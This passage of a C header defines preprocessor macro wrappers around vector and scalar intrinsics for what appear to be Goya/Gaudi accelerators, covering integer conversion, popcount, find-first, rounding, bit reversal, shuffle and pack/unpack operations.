rm, ls, p, o)\n#define v_convert_int32_to_i16_v_s_vb(a, b, i, rm, ls, p, o) v_convert_int32_to_i16_v_v_vb(a, b, i, rm, ls, p, o)\n#define v_convert_int32_to_i16_v_s(a, b, i, rm, ls) v_convert_int32_to_i16_v_v(a, b, i, rm, ls)\n\n#if defined(__goya__) || defined(__gaudi__)\n#define v_convert_int32_to_i8_v_v_b(a, b, i, rm, ls, p, o) v_convert_int32_to_i8_b(a, b, ls, ((rm) << 16), i, p, o)\n#define v_convert_int32_to_i8_v_v_vb(a, b, i, rm, ls, p, o) v_convert_int32_to_i8_vb(a, b, ls, ((rm) << 16), i, to_bool64(p), o)\n#endif\n#define v_convert_int32_to_i8_v_v(a, b, i, rm, ls) v_convert_int32_to_i8_v_v_b(a, b, i, rm, ls, 1, 0)\n#define v_convert_int32_to_i8_v_s_b(a, b, i, rm, ls, p, o) v_convert_int32_to_i8_v_v_b(a, b, i, rm, ls, p, o)\n#define v_convert_int32_to_i8_v_s_vb(a, b, i, rm, ls, p, o) v_convert_int32_to_i8_v_v_vb(a, b, i, rm, ls, p, o)\n#define v_convert_int32_to_i8_v_s(a, b, i, rm, ls) v_convert_int32_to_i8_v_v(a, b, i, rm, ls)\n\n// CONVERT_UINT32\n#define s_convert_uint32_to_u16_s_s_b(a, b, i, rm, p, o) s_convert_uint32_to_u16(a, b, (rm) << 16, i, p, o)\n#define s_convert_uint32_to_u16_s_s(a, b, rm) s_convert_uint32_to_u16_s_s_b(a, b, 0, rm, 1, 0)\n\n#define s_convert_uint32_to_u8_s_s_b(a, b, i, rm, p, o) s_convert_uint32_to_u8(a, b, (rm) << 16, i, p, o)\n#define s_convert_uint32_to_u8_s_s(a, b, rm) s_convert_uint32_to_u8_s_s_b(a, b, 0, rm, 1, 0)\n\n#if defined(__goya__) || defined(__gaudi__)\n#define v_convert_uint32_to_u16_v_v_b(a, b, i, rm, ls, p, o) v_convert_uint32_to_u16_b(a, b, ls, ((rm) << 16), i, p, o)\n#define v_convert_uint32_to_u16_v_v_vb(a, b, i, rm, ls, p, o) v_convert_uint32_to_u16_vb(a, b, ls, ((rm) << 16), i, to_bool64(p), o)\n#endif\n#define v_convert_uint32_to_u16_v_v(a, b, i, rm, ls) v_convert_uint32_to_u16_v_v_b(a, b, i, rm, ls, 1, 0)\n#define v_convert_uint32_to_u16_v_s_b(a, b, i, rm, ls, p, o) v_convert_uint32_to_u16_v_v_b(a, b, i, rm, ls, p, o)\n#define v_convert_uint32_to_u16_v_s_vb(a, b, i, rm, ls, p, o) v_convert_uint32_to_u16_v_v_vb(a, b, i, rm, ls, p, o)\n#define v_convert_uint32_to_u16_v_s(a, b, i, rm, ls) v_convert_uint32_to_u16_v_v(a, b, i, rm, ls)\n\n#if defined(__goya__) || defined(__gaudi__)\n#define v_convert_uint32_to_u8_v_v_b(a, b, i, rm, ls, p, o) v_convert_uint32_to_u8_b(a, b, ls, ((rm) << 16), i, p, o)\n#define v_convert_uint32_to_u8_v_v_vb(a, b, i, rm, ls, p, o) v_convert_uint32_to_u8_vb(a, b, ls, ((rm) << 16), i, to_bool64(p), o)\n#endif\n#define v_convert_uint32_to_u8_v_v(a, b, i, rm, ls) v_convert_uint32_to_u8_v_v_b(a, b, i, rm, ls, 1, 0)\n#define v_convert_uint32_to_u8_v_s_b(a, b, i, rm, ls, p, o) v_convert_uint32_to_u8_v_v_b(a, b, i, rm, ls, p, o)\n#define v_convert_uint32_to_u8_v_s_vb(a, b, i, rm, ls, p, o) v_convert_uint32_to_u8_v_v_vb(a, b, i, rm, ls, p, o)\n#define v_convert_uint32_to_u8_v_s(a, b, i, rm, ls) v_convert_uint32_to_u8_v_v(a, b, i, rm, ls)\n\n// CONVERT_INT16\n#define s_convert_int16_s_s_b(a, b, i, rm, p, o) s_convert_int16_to_i8(a, b, (rm) << 16, i, p, o)\n#define s_convert_int16_s_s(a, b, rm) s_convert_int16_s_s_b(a, b, 0, rm, 1, 0)\n\n#if defined(__goya__) || defined(__gaudi__)\n#define v_convert_int16_v_v_b(a, b, i, rm, ls, p, o) v_convert_int16_to_i8_b(a, b, ls, ((rm) << 16), i, p, o)\n#define v_convert_int16_v_v_vb(a, b, i, rm, ls, p, o) v_convert_int16_to_i8_vb(a, b, ls, ((rm) << 16), i, to_bool128(p), o)\n#endif\n#define v_convert_int16_v_v(a, b, i, rm, ls) v_convert_int16_v_v_b(a, b, i, rm, ls, 1, 0)\n#define v_convert_int16_v_s_b(a, b, i, rm, ls, p, o) v_convert_int16_v_v_b(a, b, i, rm, ls, p, o)\n#define v_convert_int16_v_s_vb(a, b, i, rm, ls, p, o) v_convert_int16_v_v_vb(a, b, i, rm, ls, p, o)\n#define v_convert_int16_v_s(a, b, i, rm, ls) v_convert_int16_v_v(a, b, i, rm, ls)\n\n// CONVERT_UINT16\n#define s_convert_uint16_s_s_b(a, b, i, rm, p, o) s_convert_uint16_to_u8(a, b, (rm) << 16, i, p, o)\n#define s_convert_uint16_s_s(a, b, rm) s_convert_uint16_s_s_b(a, b, 0, rm, 1, 0)\n\n#if defined(__goya__) || defined(__gaudi__)\n#define v_convert_uint16_v_v_b(a, b, i, rm, ls, p, o) v_convert_uint16_to_u8_b(a, b, ls, ((rm) << 16), i, p, o)\n#define v_convert_uint16_v_v_vb(a, b, i, rm, ls, p, o) v_convert_uint16_to_u8_vb(a, b, ls, ((rm) << 16), i, to_bool128(p), o)\n#endif\n#define v_convert_uint16_v_v(a, b, i, rm, ls) v_convert_uint16_v_v_b(a, b, i, rm, ls, 1, 0)\n#define v_convert_uint16_v_s_b(a, b, i, rm, ls, p, o) v_convert_uint16_v_v_b(a, b, i, rm, ls, p, o)\n#define v_convert_uint16_v_s_vb(a, b, i, rm, ls, p, o) v_convert_uint16_v_v_vb(a, b, i, rm, ls, p, o)\n#define v_convert_uint16_v_s(a, b, i, rm, ls) v_convert_uint16_v_v(a, b, i, rm, ls)\n\n\n// POPCNT\n#define s_f32_popcnt_s_b(x, i, s, p, o) s_f32_popcnt(x, s, i, p, o)\n#define s_bf16_popcnt_s_b(x, i, s, p, o) s_bf16_popcnt(x, s, i, p, o)\n#define s_i32_popcnt_s_b(x, i, s, p, o) s_i32_popcnt(x, s, i, p, o)\n#define s_u32_popcnt_s_b(x, i, s, p, o) s_u32_popcnt(x, s, i, p, o)\n#define s_i16_popcnt_s_b(x, i, s, p, o) s_i16_popcnt(x, s, i, p, o)\n#define s_u16_popcnt_s_b(x, i, s, p, o) s_u16_popcnt(x, s, i, p, o)\n#define s_i8_popcnt_s_b(x, i, s, p, o) s_i8_popcnt(x, s, i, p, o)\n#define s_u8_popcnt_s_b(x, i, s, p, o) s_u8_popcnt(x, s, i, p, o)\n\n#define s_f32_popcnt_s(x, s) s_f32_popcnt_s_b(x, 0, s, 1, 0)\n#define s_bf16_popcnt_s(x, s) s_bf16_popcnt_s_b(x, 0, s, 1, 0)\n#define s_i32_popcnt_s(x, s) s_i32_popcnt_s_b(x, 0, s, 1, 0)\n#define s_u32_popcnt_s(x, s) s_u32_popcnt_s_b(x, 0, s, 1, 0)\n#define s_i16_popcnt_s(x, s) s_i16_popcnt_s_b(x, 0, s, 1, 0)\n#define s_u16_popcnt_s(x, s) s_u16_popcnt_s_b(x, 0, s, 1, 0)\n#define s_i8_popcnt_s(x, s) s_i8_popcnt_s_b(x, 0, s, 1, 0)\n#define s_u8_popcnt_s(x, s) s_u8_popcnt_s_b(x, 0, s, 1, 0)\n\n#define v_f32_popcnt_v_vb(x, i, s, p, o) v_f32_popcnt_vb(x, s, i, to_bool64(p), o)\n#define v_bf16_popcnt_v_vb(x, i, s, p, o) v_bf16_popcnt_vb(x, s, i, to_bool128(p), o)\n#define v_i32_popcnt_v_vb(x, i, s, p, o) v_i32_popcnt_vb(x, s, i, to_bool64(p), o)\n#define v_u32_popcnt_v_vb(x, i, s, p, o) v_u32_popcnt_vb(x, s, i, to_bool64(p), o)\n#define v_i16_popcnt_v_vb(x, i, s, p, o) v_i16_popcnt_vb(x, s, i, to_bool128(p), o)\n#define v_u16_popcnt_v_vb(x, i, s, p, o) v_u16_popcnt_vb(x, s, i, to_bool128(p), o)\n#define v_i8_popcnt_v_vb(x, i, s, p, o) v_i8_popcnt_vb(x, s, i, p, o)\n#define v_u8_popcnt_v_vb(x, i, s, p, o) v_u8_popcnt_vb(x, s, i, p, o)\n\n#define v_f32_popcnt_v_b(x, i, s, p, o) v_f32_popcnt_b(x, s, i, p, o)\n#define v_bf16_popcnt_v_b(x, i, s, p, o) v_bf16_popcnt_b(x, s, i, p, o)\n#define v_i32_popcnt_v_b(x, i, s, p, o) v_i32_popcnt_b(x, s, i, p, o)\n#define v_u32_popcnt_v_b(x, i, s, p, o) v_u32_popcnt_b(x, s, i, p, o)\n#define v_i16_popcnt_v_b(x, i, s, p, o) v_i16_popcnt_b(x, s, i, p, o)\n#define v_u16_popcnt_v_b(x, i, s, p, o) v_u16_popcnt_b(x, s, i, p, o)\n#define v_i8_popcnt_v_b(x, i, s, p, o) v_i8_popcnt_b(x, s, i, p, o)\n#define v_u8_popcnt_v_b(x, i, s, p, o) v_u8_popcnt_b(x, s, i, p, o)\n\n#define v_f32_popcnt_v(x, s) v_f32_popcnt_v_b(x, 0, s, 1, 0)\n#define v_bf16_popcnt_v(x, s) v_bf16_popcnt_v_b(x, 0, s, 1, 0)\n#define v_i32_popcnt_v(x, s) v_i32_popcnt_v_b(x, 0, s, 1, 0)\n#define v_u32_popcnt_v(x, s) v_u32_popcnt_v_b(x, 0, s, 1, 0)\n#define v_i16_popcnt_v(x, s) v_i16_popcnt_v_b(x, 0, s, 1, 0)\n#define v_u16_popcnt_v(x, s) v_u16_popcnt_v_b(x, 0, s, 1, 0)\n#define v_i8_popcnt_v(x, s) v_i8_popcnt_v_b(x, 0, s, 1, 0)\n#define v_u8_popcnt_v(x, s) v_u8_popcnt_v_b(x, 0, s, 1, 0)\n\n\n// FIND_FIRST\n#define s_f32_find_first_s_b(x, i, v, d, p, o) s_f32_find_first(x, ((v) | ((d) << 1)), i, p, o)\n#define s_bf16_find_first_s_b(x, i, v, d, p, o) s_bf16_find_first(x, ((v) | ((d) << 1)), i, p, o)\n#define s_i32_find_first_s_b(x, i, v, d, p, o) s_i32_find_first(x, ((v) | ((d) << 1)), i, p, o)\n#define s_u32_find_first_s_b(x, i, v, d, p, o) s_u32_find_first(x, ((v) | ((d) << 1)), i, p, o)\n#define s_i16_find_first_s_b(x, i, v, d, p, o) s_i16_find_first(x, ((v) | ((d) << 1)), i, p, o)\n#define s_u16_find_first_s_b(x, i, v, d, p, o) s_u16_find_first(x, ((v) | ((d) << 1)), i, p, o)\n#define s_i8_find_first_s_b(x, i, v, d, p, o) s_i8_find_first(x, ((v) | ((d) << 1)), i, p, o)\n#define s_u8_find_first_s_b(x, i, v, d, p, o) s_u8_find_first(x, ((v) | ((d) << 1)), i, p, o)\n\n#define s_f32_find_first_s(x, v, d) s_f32_find_first_s_b(x, 0, v, d, 1, 0)\n#define s_bf16_find_first_s(x, v, d) s_bf16_find_first_s_b(x, 0, v, d, 1, 0)\n#define s_i32_find_first_s(x, v, d) s_i32_find_first_s_b(x, 0, v, d, 1, 0)\n#define s_u32_find_first_s(x, v, d) s_u32_find_first_s_b(x, 0, v, d, 1, 0)\n#define s_i16_find_first_s(x, v, d) s_i16_find_first_s_b(x, 0, v, d, 1, 0)\n#define s_u16_find_first_s(x, v, d) s_u16_find_first_s_b(x, 0, v, d, 1, 0)\n#define s_i8_find_first_s(x, v, d) s_i8_find_first_s_b(x, 0, v, d, 1, 0)\n#define s_u8_find_first_s(x, v, d) s_u8_find_first_s_b(x, 0, v, d, 1, 0)\n\n#define v_f32_find_first_v_vb(x, i, v, d, p, o) v_f32_find_first_vb(x, ((v) | ((d) << 1)), i, to_bool64(p), o)\n#define v_bf16_find_first_v_vb(x, i, v, d, p, o) v_bf16_find_first_vb(x, ((v) | ((d) << 1)), i, to_bool128(p), o)\n\n#define v_i32_find_first_v_vb(x, i, v, d, p, o) v_i32_find_first_vb(x, ((v) | ((d) << 1)), i, to_bool64(p), o)\n#define v_u32_find_first_v_vb(x, i, v, d, p, o) v_u32_find_first_vb(x, ((v) | ((d) << 1)), i, to_bool64(p), o)\n#define v_i16_find_first_v_vb(x, i, v, d, p, o) v_i16_find_first_vb(x, ((v) | ((d) << 1)), i, to_bool128(p), o)\n#define v_u16_find_first_v_vb(x, i, v, d, p, o) v_u16_find_first_vb(x, ((v) | ((d) << 1)), i, to_bool128(p), o)\n#define v_i8_find_first_v_vb(x, i, v, d, p, o) v_i8_find_first_vb(x, ((v) | ((d) << 1)), i, p, o)\n#define v_u8_find_first_v_vb(x, i, v, d, p, o) v_u8_find_first_vb(x, ((v) | ((d) << 1)), i, p, o)\n\n#define v_f32_find_first_v_b(x, i, v, d, p, o) v_f32_find_first_b(x, ((v) | ((d) << 1)), i, p, o)\n#define v_bf16_find_first_v_b(x, i, v, d, p, o) v_bf16_find_first_b(x, ((v) | ((d) << 1)), i, p, o)\n#define v_i32_find_first_v_b(x, i, v, d, p, o) v_i32_find_first_b(x, ((v) | ((d) << 1)), i, p, o)\n#define v_u32_find_first_v_b(x, i, v, d, p, o) v_u32_find_first_b(x, ((v) | ((d) << 1)), i, p, o)\n#define v_i16_find_first_v_b(x, i, v, d, p, o) v_i16_find_first_b(x, ((v) | ((d) << 1)), i, p, o)\n#define v_u16_find_first_v_b(x, i, v, d, p, o) v_u16_find_first_b(x, ((v) | ((d) << 1)), i, p, o)\n#define v_i8_find_first_v_b(x, i, v, d, p, o) v_i8_find_first_b(x, ((v) | ((d) << 1)), i, p, o)\n#define v_u8_find_first_v_b(x, i, v, d, p, o) v_u8_find_first_b(x, ((v) | ((d) << 1)), i, p, o)\n\n#define v_f32_find_first_v(x, v, d) v_f32_find_first_v_b(x, 0, v, d, 1, 0)\n#define v_bf16_find_first_v(x, v, d) v_bf16_find_first_v_b(x, 0, v, d, 1, 0)\n#define v_i32_find_first_v(x, v, d) v_i32_find_first_v_b(x, 0, v, d, 1, 0)\n#define v_u32_find_first_v(x, v, d) v_u32_find_first_v_b(x, 0, v, d, 1, 0)\n#define v_i16_find_first_v(x, v, d) v_i16_find_first_v_b(x, 0, v, d, 1, 0)\n#define v_u16_find_first_v(x, v, d) v_u16_find_first_v_b(x, 0, v, d, 1, 0)\n#define v_i8_find_first_v(x, v, d) v_i8_find_first_v_b(x, 0, v, d, 1, 0)\n#define v_u8_find_first_v(x, v, d) v_u8_find_first_v_b(x, 0, v, d, 1, 0)\n\n\n// NEARBYINT\n#define s_f32_nearbyint_s_b(a, i, s, p, o) s_f32_nearbyint(a, (s) << 16, i, p, o)\n#define s_bf16_nearbyint_s_b(a, i, s, p, o) s_bf16_nearbyint(a, (s) << 16, i, p, o)\n#define s_f32_nearbyint_s(a, s) s_f32_nearbyint_s_b(a, 0, s, 1, 0)\n#define s_bf16_nearbyint_s(a, s) s_bf16_nearbyint_s_b(a, 0, s, 1, 0)\n\n#define v_f32_nearbyint_v_b(a, i, s, p, o) v_f32_nearbyint_b(a, (s) << 16, i, p, o)\n#define v_bf16_nearbyint_v_b(a, i, s, p, o) v_bf16_nearbyint_b(a, (s) << 16, i, p, o)\n#define v_f32_nearbyint_v_vb(a, i, s, p, o) v_f32_nearbyint_vb(a, (s) << 16, i, to_bool64(p), o)\n#define v_bf16_nearbyint_v_vb(a, i, s, p, o) v_bf16_nearbyint_vb(a, (s) << 16, i, to_bool128(p), o)\n#define v_f32_nearbyint_v(a, s) v_f32_nearbyint_v_b(a, 0, s, 1, 0)\n#define v_bf16_nearbyint_v(a, s) v_bf16_nearbyint_v_b(a, 0, s, 1, 0)\n\n\n// EXTRACT_EXP\n\n#define s_f32_extract_exp_s_b(a, i, s, p, o) s_f32_extract_exp(a, s, i, p, o)\n#define s_bf16_extract_exp_s_b(a, i, s, p, o) s_bf16_extract_exp(a, s, i, p, o)\n#define s_f32_extract_exp_s(a, s) s_f32_extract_exp_s_b(a, 0, s, 1, 0)\n#define s_bf16_extract_exp_s(a, s) s_bf16_extract_exp_s_b(a, 0, s, 1, 0)\n\n#define v_f32_extract_exp_v_vb(a, i, s, p, o) v_f32_extract_exp_vb(a, s, i, to_bool64(p), o)\n#define v_bf16_extract_exp_v_vb(a, i, s, p, o) v_bf16_extract_exp_vb(a, s, i, to_bool128(p), o)\n#define v_f32_extract_exp_v_b(a, i, s, p, o) v_f32_extract_exp_b(a, s, i, p, o)\n#define v_bf16_extract_exp_v_b(a, i, s, p, o) v_bf16_extract_exp_b(a, s, i, p, o)\n\n#define v_f32_extract_exp_s_vb(a, i, s, p, o) v_f32_extract_exp_v_vb(a, i, s, p, o)\n#define v_bf16_extract_exp_s_vb(a, i, s, p, o) v_bf16_extract_exp_v_vb(a, i, s, p, o)\n#define v_f32_extract_exp_s_b(a, i, s, p, o) v_f32_extract_exp_v_b(a, i, s, p, o)\n#define v_bf16_extract_exp_s_b(a, i, s, p, o) v_bf16_extract_exp_v_b(a, i, s, p, o)\n#define v_f32_extract_exp_v(a, s) v_f32_extract_exp_v_b(a, 0, s, 1, 0)\n#define v_bf16_extract_exp_v(a, s) v_bf16_extract_exp_v_b(a, 0, s, 1, 0)\n#define v_f32_extract_exp_s(a, s) v_f32_extract_exp_v(a, s)\n#define v_bf16_extract_exp_s(a, s) v_bf16_extract_exp_v(a, s)\n\n\n// BREV\n#define s_f32_brev_s_b(a, i, p, o) s_f32_brev(a, 0, i, p, o)\n#define s_bf16_brev_s_b(a, i, p, o) s_bf16_brev(a, 0, i, p, o)\n#define s_i32_brev_s_b(a, i, p, o) s_i32_brev(a, 0, i, p, o)\n#define s_u32_brev_s_b(a, i, p, o) s_u32_brev(a, 0, i, p, o)\n#define s_i16_brev_s_b(a, i, p, o) s_i16_brev(a, 0, i, p, o)\n#define s_u16_brev_s_b(a, i, p, o) s_u16_brev(a, 0, i, p, o)\n#define s_i8_brev_s_b(a, i, p, o) s_i8_brev(a, 0, i, p, o)\n#define s_u8_brev_s_b(a, i, p, o) s_u8_brev(a, 0, i, p, o)\n\n#define s_f32_brev_s(a) s_f32_brev_s_b(a, 0, 1, 0)\n#define s_bf16_brev_s(a) s_bf16_brev_s_b(a, 0, 1, 0)\n#define s_i32_brev_s(a) s_i32_brev_s_b(a, 0, 1, 0)\n#define s_u32_brev_s(a) s_u32_brev_s_b(a, 0, 1, 0)\n#define s_i16_brev_s(a) s_i16_brev_s_b(a, 0, 1, 0)\n#define s_u16_brev_s(a) s_u16_brev_s_b(a, 0, 1, 0)\n#define s_i8_brev_s(a) s_i8_brev_s_b(a, 0, 1, 0)\n#define s_u8_brev_s(a) s_u8_brev_s_b(a, 0, 1, 0)\n\n#define v_f32_brev_v_b(a, i, p, o) v_f32_brev_b(a, 0, i, p, o)\n#define v_f32_brev_v_vb(a, i, p, o) v_f32_brev_vb(a, 0, i, to_bool64(p), o)\n#define v_bf16_brev_v_b(a, i, p, o) v_bf16_brev_b(a, 0, i, p, o)\n#define v_bf16_brev_v_vb(a, i, p, o) v_bf16_brev_vb(a, 0, i, to_bool128(p), o)\n#define v_i32_brev_v_b(a, i, p, o) v_i32_brev_b(a, 0, i, p, o)\n#define v_i32_brev_v_vb(a, i, p, o) v_i32_brev_vb(a, 0, i, to_bool64(p), o)\n#define v_u32_brev_v_b(a, i, p, o) v_u32_brev_b(a, 0, i, p, o)\n#define v_u32_brev_v_vb(a, i, p, o) v_u32_brev_vb(a, 0, i, to_bool64(p), o)\n#define v_i16_brev_v_b(a, i, p, o) v_i16_brev_b(a, 0, i, p, o)\n#define v_i16_brev_v_vb(a, i, p, o) v_i16_brev_vb(a, 0, i, to_bool128(p), o)\n#define v_u16_brev_v_b(a, i, p, o) v_u16_brev_b(a, 0, i, p, o)\n#define v_u16_brev_v_vb(a, i, p, o) v_u16_brev_vb(a, 0, i, to_bool128(p), o)\n#define v_i8_brev_v_b(a, i, p, o) v_i8_brev_b(a, 0, i, p, o)\n#define v_i8_brev_v_vb(a, i, p, o) v_i8_brev_vb(a, 0, i, p, o)\n#define v_u8_brev_v_b(a, i, p, o) v_u8_brev_b(a, 0, i, p, o)\n#define v_u8_brev_v_vb(a, i, p, o) v_u8_brev_vb(a, 0, i, p, o)\n\n#define v_f32_brev_s_b v_f32_brev_v_b\n#define v_bf16_brev_s_b v_bf16_brev_v_b\n#define v_i32_brev_s_b v_i32_brev_v_b\n#define v_u32_brev_s_b v_u32_brev_v_b\n#define v_i16_brev_s_b v_i16_brev_v_b\n#define v_u16_brev_s_b v_u16_brev_v_b\n#define v_i8_brev_s_b v_i8_brev_v_b\n#define v_u8_brev_s_b v_u8_brev_v_b\n\n#define v_f32_brev_s_vb v_f32_brev_v_vb\n#define v_bf16_brev_s_vb v_bf16_brev_v_vb\n#define v_i32_brev_s_vb v_i32_brev_v_vb\n#define v_u32_brev_s_vb v_u32_brev_v_vb\n#define v_i16_brev_s_vb v_i16_brev_v_vb\n#define v_u16_brev_s_vb v_u16_brev_v_vb\n#define v_i8_brev_s_vb v_i8_brev_v_vb\n#define v_u8_brev_s_vb v_u8_brev_v_vb\n\n#define v_f32_brev_v(a) v_f32_brev_v_b(a, 0, 1, 0)\n#define v_bf16_brev_v(a) v_bf16_brev_v_b(a, 0, 1, 0)\n#define v_i32_brev_v(a) v_i32_brev_v_b(a, 0, 1, 0)\n#define v_u32_brev_v(a) v_u32_brev_v_b(a, 0, 1, 0)\n#define v_i16_brev_v(a) v_i16_brev_v_b(a, 0, 1, 0)\n#define v_u16_brev_v(a) v_u16_brev_v_b(a, 0, 1, 0)\n#define v_i8_brev_v(a) v_i8_brev_v_b(a, 0, 1, 0)\n#define v_u8_brev_v(a) v_u8_brev_v_b(a, 0, 1, 0)\n\n#define v_f32_brev_s v_f32_brev_v\n#define v_bf16_brev_s v_bf16_brev_v\n#define v_i32_brev_s v_i32_brev_v\n#define v_u32_brev_s v_u32_brev_v\n#define v_i16_brev_s v_i16_brev_v\n#define v_u16_brev_s v_u16_brev_v\n#define v_i8_brev_s v_i8_brev_v\n#define v_u8_brev_s v_u8_brev_v\n\n\n// FCLASS\n#define s_f32_fclass_s_b(a, i, p, o) s_f32_fclass(a, 0, i, p, o)\n#define s_bf16_fclass_s_b(a, i, p, o) s_bf16_fclass(a, 0, i, p, o)\n#define v_f32_fclass_v_b(a, i, p, o) v_f32_fclass_b(a, 0, i, p, o)\n#define v_bf16_fclass_v_b(a, i, p, o) v_bf16_fclass_b(a, 0, i, p, o)\n#define v_f32_fclass_v_vb(a, i, p, o) v_f32_fclass_vb(a, 0, i, to_bool64(p), o)\n#define v_bf16_fclass_v_vb(a, i, p, o) v_bf16_fclass_vb(a, 0, i, to_bool128(p), o)\n\n\n#define v_f32_fclass_s_b v_f32_fclass_v_b\n#define v_bf16_fclass_s_b v_bf16_fclass_v_b\n \n#define v_f32_fclass_s_vb v_f32_fclass_v_vb\n#define v_bf16_fclass_s_vb v_bf16_fclass_v_vb\n\n#define s_f32_fclass_s(a) s_f32_fclass_s_b(a, 0, 1, 0)\n#define s_bf16_fclass_s(a) s_bf16_fclass_s_b(a, 0, 1, 0)\n#define v_f32_fclass_v(a) v_f32_fclass_v_b(a, 0, 1, 0)\n#define v_bf16_fclass_v(a) v_bf16_fclass_v_b(a, 0, 1, 0)\n\n\n#define v_f32_fclass_s v_f32_fclass_v\n#define v_bf16_fclass_s v_bf16_fclass_v\n\n\n// SHUFFLE\n#define v_f32_shuffle_v_v_b(a, b, i, p, o) v_f32_shuffle_b(a, b, 0, i, p, o)\n#define v_f32_shuffle_v_v_vb(a, b, i, p, o) v_f32_shuffle_vb(a, b, 0, i, to_bool64(p), o)\n#define v_bf16_shuffle_v_v_b(a, b, i, p, o) v_bf16_shuffle_b(a, b, 0, i, p, o)\n#define v_bf16_shuffle_v_v_vb(a, b, i, p, o) v_bf16_shuffle_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i32_shuffle_v_v_b(a, b, i, p, o) v_i32_shuffle_b(a, b, 0, i, p, o)\n#define v_i32_shuffle_v_v_vb(a, b, i, p, o) v_i32_shuffle_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_shuffle_v_v_b(a, b, i, p, o) v_u32_shuffle_b(a, b, 0, i, p, o)\n#define v_u32_shuffle_v_v_vb(a, b, i, p, o) v_u32_shuffle_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i16_shuffle_v_v_b(a, b, i, p, o) v_i16_shuffle_b(a, b, 0, i, p, o)\n#define v_i16_shuffle_v_v_vb(a, b, i, p, o) v_i16_shuffle_vb(a, b, 0, i, to_bool128(p), o)\n#define v_u16_shuffle_v_v_b(a, b, i, p, o) v_u16_shuffle_b(a, b, 0, i, p, o)\n#define v_u16_shuffle_v_v_vb(a, b, i, p, o) v_u16_shuffle_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i8_shuffle_v_v_b(a, b, i, p, o) v_i8_shuffle_b(a, b, 0, i, p, o)\n#define v_i8_shuffle_v_v_vb(a, b, i, p, o) v_i8_shuffle_vb(a, b, 0, i, p, o)\n#define v_u8_shuffle_v_v_b(a, b, i, p, o) v_u8_shuffle_b(a, b, 0, i, p, o)\n#define v_u8_shuffle_v_v_vb(a, b, i, p, o) v_u8_shuffle_vb(a, b, 0, i, p, o)\n\n#define v_f32_shuffle_v_v(a, b) v_f32_shuffle_v_v_b(a, b, a, 1, 0)\n#define v_bf16_shuffle_v_v(a, b) v_bf16_shuffle_v_v_b(a, b, a, 1, 0)\n#define v_i32_shuffle_v_v(a, b) v_i32_shuffle_v_v_b(a, b, a, 1, 0)\n#define v_u32_shuffle_v_v(a, b) v_u32_shuffle_v_v_b(a, b, a, 1, 0)\n#define v_i16_shuffle_v_v(a, b) v_i16_shuffle_v_v_b(a, b, a, 1, 0)\n#define v_u16_shuffle_v_v(a, b) v_u16_shuffle_v_v_b(a, b, a, 1, 0)\n#define v_i8_shuffle_v_v(a, b) v_i8_shuffle_v_v_b(a, b, a, 1, 0)\n#define v_u8_shuffle_v_v(a, b) v_u8_shuffle_v_v_b(a, b, a, 1, 0)\n\n\n// PACK\n#define v_bf16_pack_v_b(a, i, sg, es, p, o) v_bf16_pack_b(a, ((sg) << 8) | ((es) << 9), i, p, o)\n#define v_bf16_pack_v_vb(a, i, sg, es, p, o) v_bf16_pack_vb(a, ((sg) << 8) | ((es) << 9), i, to_bool128(p), o)\n#define v_i16_pack_v_b(a, i, sg, es, p, o) v_i16_pack_b(a, ((sg) << 8) | ((es) << 9), i, p, o)\n#define v_i16_pack_v_vb(a, i, sg, es, p, o) v_i16_pack_vb(a, ((sg) << 8) | ((es) << 9), i, to_bool128(p), o)\n#define v_u16_pack_v_b(a, i, sg, es, p, o) v_u16_pack_b(a, ((sg) << 8) | ((es) << 9), i, p, o)\n#define v_u16_pack_v_vb(a, i, sg, es, p, o) v_u16_pack_vb(a, ((sg) << 8) | ((es) << 9), i, to_bool128(p), o)\n#define v_i8_pack_v_b(a, i, sg, es, p, o) v_i8_pack_b(a, ((sg) << 8) | ((es) << 9), i, p, o)\n#define v_i8_pack_v_vb(a, i, sg, es, p, o) v_i8_pack_vb(a, ((sg) << 8) | ((es) << 9), i, p, o)\n#define v_u8_pack_v_b(a, i, sg, es, p, o) v_u8_pack_b(a, ((sg) << 8) | ((es) << 9), i, p, o)\n#define v_u8_pack_v_vb(a, i, sg, es, p, o) v_u8_pack_vb(a, ((sg) << 8) | ((es) << 9), i, p, o)\n\n#define v_bf16_pack_v(a, i, sg, es) v_bf16_pack_v_b(a, i, sg, es, 1, 0)\n#define v_i16_pack_v(a, i, sg, es) v_i16_pack_v_b(a, i, sg, es, 1, 0)\n#define v_u16_pack_v(a, i, sg, es) v_u16_pack_v_b(a, i, sg, es, 1, 0)\n#define v_i8_pack_v(a, i, sg, es) v_i8_pack_v_b(a, i, sg, es, 1, 0)\n#define v_u8_pack_v(a, i, sg, es) v_u8_pack_v_b(a, i, sg, es, 1, 0)\n\n\n// UNPACK\n#define v_bf16_unpack_v_b(a, i, sg, es, gh, p, o) v_bf16_unpack_b(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, p, o)\n#define v_bf16_unpack_v_vb(a, i, sg, es, gh, p, o) v_bf16_unpack_vb(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, to_bool128(p), o)\n#define v_i16_unpack_v_b(a, i, sg, es, gh, p, o) v_i16_unpack_b(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, p, o)\n#define v_i16_unpack_v_vb(a, i, sg, es, gh, p, o) v_i16_unpack_vb(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, to_bool128(p), o)\n#define v_u16_unpack_v_b(a, i, sg, es, gh, p, o) v_u16_unpack_b(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, p, o)\n#define v_u16_unpack_v_vb(a, i, sg, es, gh, p, o) v_u16_unpack_vb(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, to_bool128(p), o)\n#define v_i8_unpack_v_b(a, i, sg, es, gh, p, o) v_i8_unpack_b(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, p, o)\n#define v_i8_unpack_v_vb(a, i, sg, es, gh, p, o) v_i8_unpack_vb(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, p, o)\n#define v_u8_unpack_v_b(a, i, sg, es, gh, p, o) v_u8_unpack_b(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, p, o)\n#define v_u8_unpack_v_vb(a, i, sg, es, gh, p, o) v_u8_unpack_vb(a, ((sg) << 8) | ((es) << 9) | ((gh) << 10), i, p, o)\n\n#define v_bf16_unpack_v(a, i, 